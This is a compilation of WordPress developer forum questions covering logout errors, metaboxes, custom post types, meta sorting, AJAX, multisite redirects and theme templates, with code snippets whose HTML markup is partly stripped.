This problem was reported on the WP forum a month ago: Error when trying to logout. Whenever you logout, you get (Chrome): > **This webpage is not available.** > > The webpage at http://my.site.com/blog/wp- > login.php?action=logout&_wpnonce=2d5b319c49 might be temporarily down or it > may have moved permanently to a new web address. > > More information on this error Below is the original error message > > Error 101 (net::ERR_CONNECTION_RESET): Unknown error. I've had this problem since at least 3.0.2 and it's still there with 3.0.4. My host is IPOWER. I was wondering if anyone here has seen this problem, and even more importantly, has a solution. Thanks. A little more information:   1. I get the same connection reset error with FireFox and IE.    2. The Apache access log shows the following (I don't have access to the error logs): [22/Jan/2011:00:01:39 -0500] "GET /blog/wp- login.php?action=logout&_wpnonce=2d5b319c49 HTTP/1.0" **302** 212 "http://my.site.com/blog/wp-admin/" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10" The temporary redirect to /blog/wp-admin/ seems to make sense -- after logging out you go back to the login page.


How to implement three forms(like contact form) in wordpress

I am working on wordpress site.I need here to implement a form that is manageable from admin mean that admin can add field as requirement.Right now I am using `fast and secure form plugin` by default that plug-in provide four form.But each form having its own `submit` button I dont want this Actually client need form that divide in three part mean that when filled form first there should be `next` button on clicking next button it goes to `second form` after filled second form there should also be `next` button after click this it goes to third form taht contain `submit` button.All the form fields should be manageable throught admin. Mean admin can add or delete any field as requirment Please provide me suggestion I shall be thankful to u all Thanks Shalu


Choopy Video Playback in a popup using Artiss Youtube Embed

I'm using Artiss Youtube Embed to embed youtube videos on my site which works great because it allows me to control all the parameters for the video player. My issue is that when the video has choppy playback when it's playing in a popup window. I allow users to click on thumbnails on the homepage and then I use SimpleModal Jquery plugin to popup the video from the post. I tested a video from youtube using their iframe embed code and it worked perfectly. So something with this plugin is causing the choppy playback which only occurs in the popup. It works normally on a single post page. Any idea what might be causing that?


Display Data's metabox in page

I created a metabox has a textarea in page admin, So after validating the data is saved, but it's not displayed in the page (theme) I hope I explain well my problem. here is my code :               <?php                    add_action('add_meta_boxes','dar_meta_create');          function dar_meta_create()     {         add_meta_box(               'dar_meta', // $id               'metabox dardar', // $title                'dar_meta_function', // $callback               'page', // $page               'normal', // $context               'high');     }          // callback          function dar_meta_function($post)     {         wp_nonce_field(basename(__FILE__), 'dar_nonce');                   // get value of text area         $shortcode = get_post_meta($post->ID,'_shortcode',true);         echo          '<textarea name="_shortcode" id="_shortcode">'.wp_kses_post($shortcode).'</textarea>';     }          // save meta box                    function dar_meta_save($id,$post)     {          // check the autosave         if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)               return $id;               if (             'page' == $post->post_type             && current_user_can('edit_page', $id)             && wp_verify_nonce($_POST['dar_nonce'], basename(__FILE__))             && isset($_POST['_shortcode'])         ) update_post_meta($id, '_shortcode', strip_tags($_POST['_shortcode']));               }     add_action('save_post','dar_meta_save');      And Thanks.


add a class when login

i add this code in `index.php`. `<div class="Div1"></div>`. then write some css(absolution position) to the `Div1`. so when i login in my wordpress. the admin nav will push down some spaces to the site body. so the conetent shows unnormal. now, i want to add a `class` to `<div class="Div1">` when logins. is there a way to get this.


Wordpress 3 - how are passwords stored and how do I compare to them?

For reasons I can't go into right now, I'm creating a form that will allow users to change their passwords for Wordpress by entering their current password and then entering the new password. I want to do a databse lookup to see if the password they entered was the correct one already stored in the DB. However, in WP the passwords are encrypted somehow, so doing a simple SQL comparison on this column wont work. I tried using `md5()` on the password for the lookup but it doesn't seem to work either. Here's my sql: `SELECT ID, user_pass FROM wp_users WHERE ID = '$current_user->ID' AND user_pass = 'md5($currentpassword)' LIMIT 1` You can ignore most of this, but what I need to know is how I can do a comparison against the user_pass column? I've tested this method above and it results in 0 rows returned - with or without the `md5()` Please help! Much appreciated. Michael.


What should I use - Taxonomies, custom fields, Post Type?

I've setup a traveling/photography blog. I want to have different post types: Traveling, Hotel Reviews, etc. For the traveling post, I want to add unique data like: City, Weather (for the current time for that day), Geotag meta data (long. and lat.). etc. I am new to custom taxonomies, custom post types and custom fields. For example, I don't know when I should use custom taxonomies and when to use custom fields. There are many plugins out there that I thought buying, here are two of them: http://codecanyon.net/item/easy-custom-content-types-for-wordpress/234182 http://www.dev4press.com/plugins/gd-taxonomies-tools/features/ What I want to achieve: 1) Add a city for a custom post type (choose from a list of cities using a drop down list of the cities that I've added to a list) and also attach an image of the city to the bottom of my post. 2) Choose a weather and use an icon to show the user the current weather for that day of shooting 3) Have a URL like: http://mydomain.com/city-name http://mydomain.com/city-name/post-name.html As city-name would be the taxonomy - but what if I have several taxonomies, how can I build my permalink structure to maintain that structure? 4) Optimization & speed - From what I've read, I need to use a numerical value as the first element in my permalink structure in order to minimize stress on my WordPress DB and also to prevent WordPress from creating verbose rules. Does that imply to taxonomies in the URL too? There are many questions that I don't have answer for. I am very confused with all the plugins and information out there any really need help from you guys. Thanks in advance.


Great blogs site resources/tutorial for Wordpress Developers?

I sometimes learn a few tricks from wordpress blog tutorial sites and its great that some of the people in this field , share what they know about working around with coding around wordpress. Im just wondering do some of you know blog sites that are catering quality wordpress tutorial posts (like working around in the API, theme development , plugin development , articles) . I know.... there are thousands of them, so I wanted to know if you have list of the best sites so far you know that do this. Probably the sites you bookmarked and visit regularly. any suggestions will be cool


Select first child/subpage item in wp list pages

This question is following on from a question I posted previously, Ok, the html code that I'm trying to output is the same as the previous question - here: The current outputted html is this:

About Us

Child of About

Grandchild of About

Talk to us

      Here is the code I'm using in header.php to generate the html/menu items:

           <?php         // Query the database for all top-level page IDs, and store them in the $menuPages array under the [ID] sub-array         $menuPages = $wpdb->get_results("SELECT ID FROM $wpdb->posts WHERE post_parent=0 AND post_type='page' AND post_status='publish' ORDER BY menu_order ASC");              // For each element in the $menuPages array, get the value from the [ID]-subarray to create the top-level menu and it's children         foreach($menuPages as $menuItem){             $menuItemTitle = get_the_title($menuItem->ID);                       $menuItemClass = strtolower(trim($menuItemTitle));                               $menuItemClass = preg_replace('/[^a-z0-9-]/', '-', $menuItemClass);             $menuItemClass = preg_replace('/-+/', "-", $menuItemClass);                          $menuItemPermalink = get_permalink($menuItem->ID);                 if (isset($menuItemTitle) && $menuItemTitle != 'Home'){                                      _e('
'.PHP_EOL);                     _e(''.$menuItemTitle.''.PHP_EOL);                      // Run wp_list_pages to fetch any children, and put the HTML
 list results into $menuItemChildren as a string                     $menuItemChildren = wp_list_pages('title_li=&echo=0&sort_column=menu_order&child_of='.$menuItem->ID);                                             $menuItemChildren = preg_replace('%
%U', '', $menuItemChildren);                     $menuItemChildren = str_replace('
', '', $menuItemChildren);                     $menuItemChildren = str_replace('<a', '
<a', $menuItemChildren);                     $menuItemChildren = str_replace('', '
', $menuItemChildren);                     $menuItemChildren = str_replace('
', '', $menuItemChildren);                     $menuItemChildren = str_replace('
', '', $menuItemChildren);                                  // If results were returned, $menuItemChildren is now a string with HTML in it, so create a drop-down and echo out the HTML                     if($menuItemChildren){                                               _e('
'.PHP_EOL);                         _e('
'.PHP_EOL);                         _e('
'.PHP_EOL);                                _e('
'.PHP_EOL);                         echo '
' .$menuItemChildren. '
' . PHP_EOL;                         _e('
'.PHP_EOL);                         _e('
'.PHP_EOL);                         _e('
'.PHP_EOL);                         _e('
'.PHP_EOL);                                            }                     _e('
'.PHP_EOL);                             }             }         ?>

      I know this is probably a really bad way of doing this, but it seems to do most of the job ok. The only thing outstanding now is changing the child items/subpages on level/depth 1 from "dd's" to "dt's", leaving any pages below as dd's. I guess I need some code that takes the first item/child and gives it "dt" tags, then everything else "dd" tags, but I can't for the life of me figure it out. Hope this makes sense and any help greatly appreciated, S. (And I have looked at the Walker class method : ( )


Changing Oembed max width based type of page

How do i change/filter the oembed max width settings (as set by ) admin -> media -> settings -> "Maximum embed size" before the oembed code gets executed. For example on the index pages i want it to be 540, but ona single page, i'd like to be 880?


Search page for custom post type

I am new to wordpress and a beginner coder, and i was searching around the net, found solutions but still does not work. I have custom post type named `dlm_download`, and my custom search template not working I added the following to my `functions.php` file - the code is from this answer by @Ronald.               function template_chooser($template)     {       global $wp_query;       $post_type = get_query_var('post_type');       if( $wp_query->is_search && $post_type == 'dlm_download' )       {         return locate_template('archive-download.php');       }       return $template;     }     add_filter('template_include', 'template_chooser');      Created the `archive-download.php` and when i preform my custom search, i get the url like this `mysite.com/?dlm_download=699` nothing happens i just get redirected to my home page. Could please someone tell what i am doing wrong?


FTP files directly to Media Library wp-content\uploads

I would like to use an automated process to replicate a non-WordPress file folder in \wp-content\uploads\ and have the files automatically registered in the Media Library. I could use such a process to upload the files, then register them using Add From Server (http://wordpress.org/plugins/add-from-server/) or the similar Media From FTP. But that seems like excessive human input. LR/Blog (http://www.photographers-toolbox.com/products/lrblog.php) appears to be able to save to WP and register the files at the same time. How can this be done with any files using a command line?


Content disappearing from layout builder after updating the page

i have been developing a website (http://www.estero.co.nz). firstly i am really happy with wordpress which made our lives easier for developing websites. i have already built two site using wordpress, but for the first time i am having a issue. i have been working in building estero site after getting to start third page using layout builder, the moment i click update the content gets disappeared. i have to complete the site before my event gets started in 15 days, but somehow this issue is not letting me do so. kindly suggest the solution. Site URL- http://www.estero.co.nz theme- enfold WordPress 3.9.2 thanks


"coming soon" placeholder blog posts?

I have a page set up with six posts per page with two rows of three posts. If I only have one post up, I would like the other five to have "placeholder images" letting the viewers know that more posts are coming. Kind of like this: ![enter image description here](http://i.stack.imgur.com/UMBZB.jpg) I would create the placeholder images to put in there. Here is how my blog is set up. Pretty basic. Has anybody ever done anything like this before?
              <?php if ( have_posts() ) : ?>                  <?php while ( have_posts() ) : the_post(); ?>                  <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
                     <?php the_title( sprintf( '
', esc_url( get_permalink() ) ), '
' ); ?>                     <?php mobile_mix_posted_on(); ?>
                      <?php if ( '' != get_the_post_thumbnail() ) {                     the_post_thumbnail();                 } ?>
                  <?php endwhile; ?>                  <?php mobile_mix_paging_nav(); ?>              <?php else : ?>                  <?php get_template_part( 'content', 'none' ); ?>              <?php endif; ?>


Hardcoding and WordPress Performance

On the WordPress Optimization/Performance page it suggests hardcoding static variables rather than referencing them through WordPress functions. I think I get the rationale behind that. But what about doing something like the following:               function foobar() {              global $post;              $post_ID = $post->ID;              $site_url = site_url();              // Use $post_ID and $site_url multiple times throughout the function          }      Is this better performance than explicitly calling `$post->ID` and `site_url()` each time you'd want to reference them? Or does it not make a difference?


Woocommerce custom product loop not display all product on the homepage

This is the code I use to display the products on the home page.               <ul class="products">     <?php         $arg1 = array(             'post_type' => 'product',             'posts_per_page' => 8         );         $loop = new WP_Query( $arg1 );         if ( $loop->have_posts() ) {             while ( $loop->have_posts() ) : $loop->the_post();                 wc_get_template_part( 'content', 'product' );             endwhile;         } else {             echo __( 'No products found' );         }         wp_reset_postdata();     ?>     </ul>      But I have only seen 1 product instead of the specified 8. If you change the English language, and the 0th. Do you have any ideas as to why? I use the template roots. Here is the url: http://www.granitnagyker.hu


How to split my uploaded media into directories?

I am reading the documentation of WordPress Media Library and it seems to me that it doesn't allow me to split my uploaded media into directories. Is it true? Why this choice? How can I implement that?


$wpdb sort order

$meta_key1 = 'first_meta';     $meta_key2 = 'second_meta';          $postids = $wpdb->get_col( $wpdb->prepare(      "     SELECT      key1.post_id     FROM        $wpdb->postmeta key1     INNER JOIN  $wpdb->postmeta key2                 ON key2.post_id = key1.post_id                 AND key2.meta_key = %s     WHERE       key1.meta_key = %s AND key1.meta_value <= 250     ORDER BY    key2.meta_value+(0) DESC     ",     $meta_key2,     $meta_key1     ) );       Why this code give me result oredered by `first_meta`, when I need (and suppose to get) order posts by `second_meta`? What I do wrong? I copied this sample from Example 4 - $wpdb - Codex -- and changed only a single line.


Multiple domains for with a single instal

I have to create a new project that is multi regional. I need to change the website url depending on the user IP address. On my project, we will have three different domains:   * Our main site: www.mysite.com   * Our uk domain: www.mysite.co.uk   * Our Australian domain: www.mysite.com.au This project, has to be managed by only one **site installation** Here is what I was thinking:   1. Modify the htaccess file of the two "extend" domains (co.uk and com.au) to redirect users to my main one: www.mysite.com Here is my htaccess redirection on both of my "extend" domains (co.uk and com.au) Redirect 301 / http://www.mysite.com/   2. On my single Wordpress instal where the site will be (.com), I will get users Ip addresses To it, I used the geoiploc library (working perfectly)   3. If the user has an Uk or an AU Ip, I will redirect him to the according url. Here is my issue: I tried to modify the url inside the function.php according to the IP detection like this. update_option('siteurl','http://www.mysite.co.uk'); update_option('home','http://www.mysite.co.uk'); Redirections are working (can review links modification on the page). However, since I have done my "extend" domains redirections, I will always display the .com website. So how can I avoid this problem? Note: I found that I can use the multiple domains with analytics plug-in that will be very helpful. However, this plug-in requires "DNS settings". **Does my "extend" domains htaccess modification is enough?** Here is my plug-in set-up on my .com website:   * Domain 1: www.mysite.co.uk    * Wordpress address (URL): www.mysite.com    * Blog address (URL): www.mysite.com   * Domain 2: www.mysite.com.au   * Wordpress address (URL): www.mysite.com.au   * Blog address (URL): www.mysite.com.au Note: Latter I will add a drop down list to allow users domains swapping (.com, .co.uk, .con.au) Any help will be appreciated, cheers!


Users moderate own comments

Im putting together a portfolio site and have come across something that i would like to implement, but im unsure of how i can set around doing it. Basically as the site stands now (in development) the user never has (or will have) to access wp-admin to change any of their details, they can do that via a user-profile page. Each user has a portfolio/bio page with a comments form at the bottom, what im wanting to do is make it so that any comments left on this bio page are moderated by that pages owner, ie perfect solution would be: 1) Bio page owner is notified via email that they have a new comment. 2) Bio page owner logs in and goes to user-profile page to review and then accept/decline comment, upon accepting it is then published. Anyone have any previous experience in this, or know of a working site/plugin that i could take a look at, or just any general advice on what im trying to do. Best regards


Get new post meta data when (custom) post is saved

When I save my post (custom post type: project) I want to get the meta data for a specific key that I just inserted. Based on the value of that key I insert a product in WooCommerce. What happens is that I get the **past** value for the meta key, instead of the **current/new** one. Here's the code I use:               function shortened($post_id){             $key_verkoop_ja_nee = "kaart_verkoop";        //$value_verkoop_ja_nee = get_post_meta($post_id, $key_verkoop_ja_nee, TRUE);        //$value_verkoop_ja_nee = $GLOBALS["wp_object_cache"]->cache["post_meta"][$post_id][$key_verkoop_ja_nee][0];        //$value_verkoop_ja_nee = $_REQUEST[$key_verkoop_ja_nee];        $value_verkoop_ja_nee = $_POST[$key_verkoop_ja_nee];             if($value_verkoop_ja_nee == "Yes"){            //Do a lot of stuf        }     }          add_action( 'save_post_project', 'shortened', 999 );      $_POST and $_REQUEST don't return any value at all, get_post_meta and the $GLOBALS return the past value. I tried edit_post instead of save_post, in/decreased the importance (999) and used global $post in the function. Nothing works. Any idea how the get the new inserted meta value? Thanks a lot!


What is the purpose of the "Hello Dolly" plugin?

Why was this plugin packaged by default? I know `Akismet` prevents SPAM but `Hello Dolly` does nothing. Can someone please explain what the use is of the `Hello Dolly plugin?


Cleanup Body_Class

Currently, when I use `body_class()` it generates a bunch of crap that I don't need. What I'd like to do is have the following:               homepage: class='blog page-home'     single:   class='blog page-single'     author:   class='blog page-author'     category  class='blog page-category'      Should I even use an add_filter for body_class? Or just create my own function?


Wordpress Ajax Getting Response "Null"

I am trying to get ID of post on HOME page .So far my coding is               wp_enqueue_script( 'my-ajax-request', get_stylesheet_directory_uri() . '/js/ajax.js', array( 'jquery' ) );     wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) );     add_action('wp_ajax_nopriv_ajax_request', 'ajax_handle_request');     add_action('wp_ajax_ajax_request', 'ajax_handle_request');               function ajax_handle_request(){     $postID = $_POST['id'];     if (isset($_POST['id'])){         $post_id = $_POST['id'];     }else{         $post_id = "";     }          global $post;     $post = get_post($postID);          $response = array(          'sucess' => true,          'post' => $post,         'id' => $postID ,      );          // generate the response     print json_encode($response);          // IMPORTANT: don't forget to "exit"     exit;     }      And My jquery               jQuery(document).ready(function($) {     $('h1.entry-title a').click(function(event) {         event.preventDefault();     var id = $(this).data('id');          $.ajax({       type: 'POST',       url: MyAjax.ajaxurl,       data: {'action' : 'ajax_request', 'id': id},       dataType: 'json',       success: function(data) {         alert(data['post']);       }     });               return false;     });     });      But I am getting alert Null instead of getting the id of post.


Multisite - Redirect All Users to Subsite Home Page on Subsite Login

I have a WordPress multisite network and would like to redirect all users who log into a subsite to the subsite's home page. I have found many plugins and functions.php code that redirect to the main site for the network, but I have been unable to find a solution that will redirect users to a subsite's home page, thus bypassing the dashboard for the subsite. Ideally, the solution would redirect all roles (administrator through subscriber). Any guidance would be most appreciated! Thanks, Mike


wp_insert_category() setting the 'cat_ID' gives not array error

I'm writing a plugin that automatically creates a bunch of stuff ie categories and child categories. But when I use the following code to create the categories: (from wp codex)               //Create Post Categories     $my_cat = array(         'cat_ID' => 1146,         'cat_name' => 'Newcastle Community News & Views',          'category_description' => '',          'category_nicename' => 'news',          'category_parent' => '',         'taxonomy' => 'category'     );     $my_cat_id = wp_insert_category($my_cat);      It gives me the following error. > >     Warning: array_merge() [function.array-merge]: Argument #1 is not an > array in /home/newcastl/public_html/wp-includes/taxonomy.php on line 2535 >   With the id in '' isnt working either. I have to set the ID so I can refer to it when using sub-cats. Thanks!


Images in grid Twenty Eleven theme

I'm trying **to display images in grid such that 5 images in a row**. I put the code in `functions.php`:               add_filter('post_class','clear_left_four_class');     function clear_left_four_class( $classes ) {      global $wp_query;      if( $wp_query->current_post%5 == 0 ) $classes[] = 'clearleft';     return $classes;     }      and in style I put the code in `style.css`:               .hentry { width: 24%; margin-left: 1%; float: left; }     .clearleft { clear: left; margin: 0; }      but **currently it shows only 3 images in a row** I have already made reading as 5 posts


Horizontally paginate through sets of blog posts?

I have my posts set up like this: ![enter image description here](http://i.stack.imgur.com/toRZM.jpg) I would like users to scroll through the posts using the left and right arrows. So when users click on the right arrow, for example, the next six posts would slide into view horizontally. I know how to pull the main query of posts and set the posts per page to six, but how would I get those posts to work with the pagination?


Sort posts by multiple meta key values

I'm not new to wordpress, but I'm not very good at PHP. I hope someone can help me, since I already tried to search for a solution for over 5 hours with no luck. So I have an archive.php page where I want to to sort the posts by 3 meta keys. They all have numeric values. These are the names of the meta fields: "vorstellung-filmdatum" (The date), "vorstellung-uhrzeit-stunde" (The hour) and "vorstellung-uhrzeit-minute" (The Minute). At this moment I'm using the following code, but it only sorts by the last meta-key ("vorstellung-uhrzeit-minute" in this case).               global $wp_query;     $args = array_merge( $wp_query->query, array( 'posts_per_page' => 12, 'meta_key' => 'vorstellung-filmdatum', 'orderby' => 'meta_value_num', 'order' => 'ASC', 'meta_key' => 'vorstellung-uhrzeit-stunde', 'orderby' => 'meta_value_num', 'order' => 'ASC', 'meta_key' => 'vorstellung-uhrzeit-minute', 'orderby' => 'meta_value_num', 'order' => 'ASC', ) );     query_posts( $args );     while (have_posts()) : the_post(); ?>      How can I change this to be sorted by all three meta keys? I want it to sort the posts like this: -- Date 1 --- Hour 1 ------ Minute 1 ------ Minute 2 --- Hour 2 ------ Minute 1 ------ Minute 2 -- Date 2 --- Hour 1 ------ Minute 1 etc. Can someone help me?


Need plugins and themes from clients site

I need to grab a clients themes and plugins to migrate their website to our servers. I tried using All In One Migration but it didnt work and caused some errors. Now I am going to do a fresh install of Wordpress. I can get the database with the Migrate DB tool but have no idea how to get the themes or plugins. I obviously don't have access to FTP or hosting because the current hoster does not want to provide that information to make it easy for us to get the files. Any suggestions on plugins or methods to get the site files so I can migrate?


Post format alternative?

The client wants to attach one of several "formats" (publication, briefing, press release etc.) to a post. It seems unnecessary to create custom post types as they all have the same fields. As post formats cannot be extended, would you recommend a custom taxonomy in this case?


Prevent reload confirmation after AJAX save

I am saving information in the admin panel via ajax. The problem I'm running in to is the "Are you sure you want to navigate away from this page" popup appear, even though everything has been saved. Is there any way to flag the page as saved?


Enable comments for post with comments meta box removed

I have created a custom post type in a plugin for a site I'm working on. I'm allowing users assigned a custom role to add/edit/delete the custom post type. I would like to give these users as little functionality as possible in the admin beyond posting. So I've used `remove_meta_box` to remove a few panels on the conversation post edit screen for these users via a plugin. One of the meta boxes I've disabled is commentsstatusdiv which includes the form elements for comment status and trackbacks. It seems that if the comments status form element is missing, the `comment_status` field gets set to off. I'd like to default comments on for the post type and prevent users in this role from changing the comments setting. But when the users save the post comment status is set to off. I can force a setting with the `wp_insert_post_data` filter. But I don't want to override for admins. I'd like admins to have control. How do I force comments status to be on by default and prevent users of a specific role from changing it while still allowing admins to turn them on/off?


why there are so many posts whoes post_type is revision? will these records waste too much database space?

from the following data we may know there are only 30 records which are meaningful, and there are 92 records of revision post_type which can not be shown on the blog. so will these records waste too much database space? is it recommended to save such kind of revisions? (btw, i may edit my blog oftenly)               mysql> select count(*),post_type, post_status from wp_137_posts group by post_type, post_status;     +----------+-----------+-------------+     | count(*) | post_type | post_status |     +----------+-----------+-------------+     |        1 | page      | publish     |     |        2 | post      | auto-draft  |     // also, should i delete this record?     |       30 | post      | publish     |     |       92 | revision  | inherit     |     +----------+-----------+-------------+     4 rows in set (0.24 sec)


Saving data to database and exporting to excel

I'm creating a form in a blog for users to register their emails so I can send a newsletter later but I don't want to use any newsletter plugin for that. I'd like to save the emails and than export them to something else like excel or a cvs file. Is there any plugin or any other solution to do that?


How to protect my blog?

I installed "registered users only" plugin which works perfectly... BUT if I type in url for some of my attachemnts /wp-content/uploads/2011/.... I can easily download everything even if I'm not logged in? How should I redirect users to login page if they try to download my content directly?


Do you have to have command line access to use Subversion with Wordpress?

My group does not have command line access to the machine that is running our WordPress instance. However, we would still like to install/update using Subversion. Is this possible? Also, does Subversion need to be on the same machine?


How to add the source url as custom field in autoblogged Wordpress plugin

My website working on autoblogged plugin and the theme installed is ipin pro. I wanted to autoblogged posts to add source url also, in page shows uploaded by user. please help. I wanted to "uploaded by user" to autoblogged custom field value, screenshot attached here http://imgur.com/EOxtrje ,my autoblogged custom page screen shot is here- http://i.imgur.com/LlA2HTN.jpg?1 What are the values in custom field? Here is the source page of page_source.php in theme               <?php     /*     Template Name: _source     */     ?>          <?php get_header(); global $user_ID, $wp_rewrite; ?>
         <?php         if(isset($wp_query->query_vars['domain'])) {             $source = rawurlencode($wp_query->query_vars['domain']);         } else {             $source = '...';         }         ?>

<?php _e('Pins from', 'ipin') ?> <a href="http://<?php echo $source; ?>" target="_blank"><?php echo $source; ?>

              <?php         $pnum = intval($_GET['pnum']) ? $_GET['pnum'] : 1;         $args = array(             'meta_key' => '_Photo Source Domain',             'meta_value' => $source,             'paged' => $pnum         );              query_posts($args);         $maxpage = $wp_query->max_num_pages;         ?>

             <?php $count_ad = 1; if (have_posts()) : while (have_posts()) : the_post(); ?>                  <?php if (of_get_option('frontpage1_ad') == $count_ad && of_get_option('frontpage1_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage1_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage2_ad') == $count_ad && of_get_option('frontpage2_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage2_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage3_ad') == $count_ad && of_get_option('frontpage3_ad_code') != '' && ($pnum == 1  || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage3_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage4_ad') == $count_ad && of_get_option('frontpage4_ad_code') != '' && ($paged == 0 || $paged == 1 || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage4_ad_code')); ?>

             <?php } ?>                  <?php if (of_get_option('frontpage5_ad') == $count_ad && of_get_option('frontpage5_ad_code') != '' && ($paged == 0 || $paged == 1 || of_get_option('infinitescroll') == 'disable')) { ?>

                                   <?php eval('?>' . of_get_option('frontpage5_ad_code')); ?>

             <?php } ?>                  <div id="post-<?php the_ID(); ?>" <?php post_class('thumb'); ?>>

                         <?php if (current_user_can('administrator') || current_user_can('editor') || current_user_can('author') || !is_user_logged_in()) { ?>                         <a class="ipin-repin btn btn-mini" data-post_id="<?php echo $post->ID ?>" href="#"> <?php _e('Repin', 'ipin'); ?>                         <?php } ?>                         <?php if ($post->post_author != $user_ID) { ?>                          <button class="ipin-like btn btn-mini<?php if(ipin_liked($post->ID)) { echo ' disabled'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?>" type="button"> <?php _e('Like', 'ipin'); ?></button>                         <?php } else { ?>                         <a class="btn btn-mini" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edit', 'ipin'); ?>                         <?php } ?>                         <a class="ipin-comment btn btn-mini" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $post->ID ?>"> <?php _e('Comment', 'ipin'); ?>
                          <a class="featured-thumb-link" href="<?php the_permalink(); ?>">                         <?php                         if (of_get_option('price_currency') != '') {                             remove_filter('the_title', 'ipin_the_title');                             $title_unfiltered = get_the_title();                             preg_match_all('/\$[0-9,]+(?:\.[0-9]{2})?/', $title_unfiltered, $match);                             add_filter( 'the_title', 'ipin_the_title');                             if ($match[0]) {                         ?>

<?php echo str_replace('$', of_get_option('price_currency'), array_pop($match[0])); ?>

                         <?php                             }                         }                         ?>                              <?php                         //if is youtube or vimeo video                         $photo_source = get_post_meta($post->ID, "_Photo Source", true);                         if (preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', str_replace('&', '&', $photo_source), $match) || (strpos(parse_url($photo_source, PHP_URL_HOST), 'vimeo.com') !== FALSE && sscanf(parse_url($photo_source, PHP_URL_PATH), '/%d', $video_id))) {                         ?>

                         <?php } ?>                              <?php                         $imgsrc = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID),'medium');                         if ($imgsrc[0] == '') {                             $imgsrc[0] = get_template_directory_uri() . '/img/blank.gif';                         }                              //if is animted gif                         $animated_gif = false;                         if (substr($imgsrc[0], -4) == '.gif' && get_post_meta(get_post_thumbnail_id($post->ID), 'a_gif', true) == 'yes') {                                 $animated_gif = true;                                 $animated_gif_imgsrc_full = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full');                                 echo '

';                              }                         ?>                         <img class="featured-thumb<?php if ($animated_gif) echo ' featured-thumb-gif-class" data-animated-gif-src-medium="' . $imgsrc[0] .  '" data-animated-gif-src-full="' . $animated_gif_imgsrc_full[0]; ?>" src="<?php echo $imgsrc[0]; ?>" alt="<?php the_title_attribute(); ?>" style="width:<?php echo $imgsrc[1] ?>px;height:<?php echo $imgsrc[2] ?>px" />                                               <div class="post-title" data-title="<?php esc_attr_e($title_unfiltered); ?>">                         <?php                         $post_title_strip_tags = get_the_title();                         if (of_get_option('posttags') == 'enable') {                             $post_title_strip_tags = preg_replace('/tags\[(.*?)\]/', '', get_the_title(), 1);                         }                              echo mb_strimwidth(strip_tags($post_title_strip_tags), 0, 255, ' ...');                              $posttags = get_the_tags();                         if ($posttags) {                             echo '

';                                  foreach($posttags as $tag) {                                 echo 'term_id). '">' . $tag->name . ' ';                              }                                  echo '
';                         }                         ?>

                      <?php                  $likes_number = get_post_meta($post->ID, '_Likes Count', true);                 $repins_number = get_post_meta($post->ID, '_Repin Count', true);                 $comments_number = get_comments_number();                 ?>
                 <?php                     if ($likes_number == '' || $likes_number == '0') {                         echo 'ID . '" class="likes-count hide">';                     } elseif ($likes_number == '1') {                         echo 'ID . '" class="likes-count">1 ' . __('like', 'ipin') . '';                     } else {                         echo 'ID . '" class="likes-count">' . $likes_number . ' ' . __('likes', 'ipin') . '';                     }                          if ($comments_number == '0') {                         echo 'ID . '" class="comments-count hide">';                     } elseif ($comments_number == '1') {                         echo 'ID . '" class="comments-count">1 ' . __('comment', 'ipin') . '';                     } else {                         echo 'ID . '" class="comments-count">' . $comments_number . ' ' . __('comments', 'ipin') . '';                     }                          if ($repins_number == '' || $repins_number == '0') {                         echo 'ID . '" class="repins-count hide">';                     } elseif ($repins_number == '1') {                         echo 'ID . '" class="repins-count">1 ' . __('repin', 'ipin') . '';                     } else {                         echo 'ID . '" class="repins-count">' . $repins_number . ' ' . __('repins', 'ipin') . '';                        }                 ?>

                     <?php if (current_user_can('administrator') || current_user_can('editor') || current_user_can('author') || !is_user_logged_in()) { ?>                     <a class="ipin-repin btn btn-small" data-post_id="<?php echo $post->ID ?>" href="#"><?php _e('Repin', 'ipin'); ?>                     <?php } ?>                     <?php if ($post->post_author != $user_ID) { ?>                      <button class="ipin-like btn btn-small<?php if(ipin_liked($post->ID)) { echo ' disabled'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?>" type="button"><?php _e('Like', 'ipin'); ?></button>                     <?php } else { ?>                     <a class="btn btn-small" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edit', 'ipin'); ?>                     <?php } ?>                     <a class="ipin-comment btn btn-small" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $post->ID ?>"><?php _e('Comment', 'ipin'); ?>

<a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . get_the_author_meta('user_nicename'); ?>/"><?php echo get_avatar(get_the_author_meta('ID'), '30'); ?>

